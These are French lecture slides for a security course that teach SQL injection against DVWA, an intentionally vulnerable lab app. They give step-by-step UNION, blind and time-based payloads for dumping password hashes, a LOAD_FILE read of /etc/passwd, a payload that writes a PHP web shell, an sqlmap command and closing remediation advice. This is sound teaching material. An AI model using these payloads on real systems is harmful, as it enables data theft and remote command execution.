# Injection SQL

## aka SQLi

![SQLi](images/sqli/sqlinjection_comics.png "SQLi")

<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>


### <i class="fa fa-cogs"></i> SQLi
* envoie de données à un interpréteur
* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**)
  * toute source de données peut être utilisées
      * paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
      * au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)


### <i class="fas fa-ice-cream"></i> SQLi / types

* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)

* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
  * cas simple où les messages d'erreur base de données sont affichés
* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
  * cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles
    * Un comportement différent selon que la **payload** est exécutée ou non


### <i class="fa-solid fa-bomb"></i> SQLi / payloads

* lire des données "protégées"
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires


### <i class="fa-solid fa-bomb"></i> SQLi / low 

* détectable en tentant les caractères d'échappement **"** ou **'** en 
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small>

* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL
  ```
  User ID: ' OR 1=1 #
  ```
  * affiche la liste de tous les utilisateurs

<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small>

<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs


### <i class="fa-solid fa-bomb"></i> SQLi / low 

déterminer le nombre de paramètres de la requêtes
  ```
  User ID: ' OR 1=1 ORDER BY 1 #
  ```

<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small>

<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small>

<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT


### <i class="fa-solid fa-bomb"></i> SQLi / low 

repérer qui est qui?
  ```
  User ID: 6' UNION SELECT 1,2 #
  ```
  ```
  First name: 1
  Surname: 2
  ```

afficher la base de données et l'utilisateur courant 
  ```
  User ID: 6' UNION SELECT database(),current_user() #
  ```
  ```
  First name: dvwa
  Surname: dvwa@localhost
  ```
  <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small>

  <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table**


### <i class="fa-solid fa-bomb"></i> SQLi / low 

afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
  
```
User ID: 6' UNION SELECT table_name,2 
  FROM INFORMATION_SCHEMA.TABLES 
  WHERE TABLE_SCHEMA = 'dvwa' #
```

<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>


### <i class="fa-solid fa-bomb"></i> SQLi / low 

afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
  
```
User ID: 6' UNION SELECT column_name,2 
  FROM INFORMATION_SCHEMA.COLUMNS 
  WHERE TABLE_SCHEMA = 'dvwa' #
```

<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>


### <i class="fa-solid fa-bomb"></i> SQLi / low 

afficher les champs `user` & `password` de la table `users`
  
```
User ID: 6' UNION SELECT user,password FROM users #
```

<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small>

<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel**


### <i class="fa-solid fa-bomb"></i> SQLi / medium

![select2input](images/sqli/select2input.png "select2input")

détection 

```
User ID: ' OR 1=1 #
```

<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés


### <i class="fa-solid fa-bomb"></i> SQLi / medium

```
User ID: 1 OR 1=1 #
```

<i class="fas fa-circle-check"></i> le paramètre id est un entier

reprendre les étapes SQLi / low en remplacant 

```
User ID: 6' ... #
```

<i class="fa-solid fa-arrow-right-arrow-left"></i>

```
User ID: 6 ... #
```

<small>

`TABLE_SCHEMA = 'dvwa'` 

<i class="fa-solid fa-arrow-right-arrow-left"></i>

`TABLE_SCHEMA = CHAR(100,118,119,97)`

</small>


### <i class="fa-solid fa-bomb"></i> SQLi / high

Toute la séquence SQLi / low est valide


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

* plus de message d'erreur
* plus d'affichage des champs

* identifier les comportements

```
User ID: 1
```
```
User ID exists in the database.
```
```
User ID: 6
```
```
User ID is MISSING from the database.
```


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

* identifier les comportements
  * on sait que l'utilisateur 1 existe

```
User ID: 1' AND '1' = '2' #
```
```
User ID is MISSING from the database.
```
```
User ID: 1' AND '1' = '1' #
```
```
User ID exists in the database.
```

<i class="fa-solid fa-trophy"></i> il y a une injection


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

déterminer le nom de la base de données

```
1' AND ORD(MID(DATABASE(),1,1)) = 100 #
```

* `DATABASE()` : renvoie la chaîne "dvwa"
* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()`
* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

déterminer le nombre de caractère dans le nom de la base de données

```
1' AND LENGTH(DATABASE()) = 4 #
```

déterminer le nom de la base de données

```
1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97  # a
```


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

déterminer le nom de la table

```
1' AND ORD(MID((SELECT table_name 
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g 
```

déterminer le nombre de colonne de la table users

```
1' AND ORD(MID((SELECT COUNT(column_name) 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='users' 
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
```


### <i class="fa-solid fa-bomb"></i> Blind SQLi / low

déterminer le nom des colonnes de la table users

```
1' AND ORD(MID((SELECT column_name 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='users' 
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p 
```

déterminer le hash d'un user

```
1' AND ORD(MID((SELECT password FROM dvwa.users 
WHERE user='Pablo'),1,1)) = 48 # 0
```


### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium

reprendre les étapes Blind SQLi / low en remplacant 

```
User ID: 1' ... #
```

<i class="fa-solid fa-arrow-right-arrow-left"></i>

```
User ID: 1 ... #
```

<small>

`table_schema='dvwa'` 

<i class="fa-solid fa-arrow-right-arrow-left"></i>

`table_schema=0x64767761`

</small>


### <i class="fa-solid fa-bomb"></i> Blind SQLi / high

Toute la séquence Blind SQLi / low est valide


### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based

* Si aucun output n'est disponible
  * on ajoute du calcul artificiellement
    * la **payload** est exécutée
      * le temps de réponse = temps de traitement + temps de calcul artificiel
    * la **payload** n'est pas exécutée
      * le temps  de réponse = temps de traitement

problématique similaire à une booléenne


### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based

```
User ID: 1' AND 1=0 UNION SELECT NULL, 
benchmark(5000000, encode('MSG', 'pass-phrase')) 
FROM users #
```

* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
  * DoS
  * utile pour les **True Blind SQLi** ou **Time Based**


### <i class="fa-solid fa-bomb"></i> SQLi / Low

<i class="fa-solid fa-triangle-exclamation"></i>   sous certaines conditions

```
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
```

affiche tout le contenu du fichier /etc/passwd

```
User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" 
  INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
```

écrit le fichier shell.php dans le système de fichiers


## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/)

* Fait tous le boulot à votre palce
  * en ligne de commmande
    * affiche des résultats propres
    * abstrait
      * le moteur de base de données
      * les différentes techniques d'injections

```http
sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;" 
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" 
--tables
```

<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session


### <i class="fa fa-medkit"></i> SQLi / Fix

* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
  * PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
  * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
  * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* Repérer les requêtes suspectes dans les logs

Note:
- TODO regarder si les messages sont désactiables à partir de MySQL


### <i class="fa fa-medkit"></i> SQLi / Fix

* Filtrage par listes blanches
  * caster
    * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
      * si l'id est toujours un entier ...
  * échappement des paramètres de requêtes
    * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)


### <i class="fa fa-medkit"></i> SQLi / Fix

* Web Application Firewall (WAF)
    * [mod_security](https://www.modsecurity.org/)
    * <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
  * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
  * attention aux permissions sur la base de données
    * information_schema ...
* Changer les préfixes de table des CMS quand c'est possible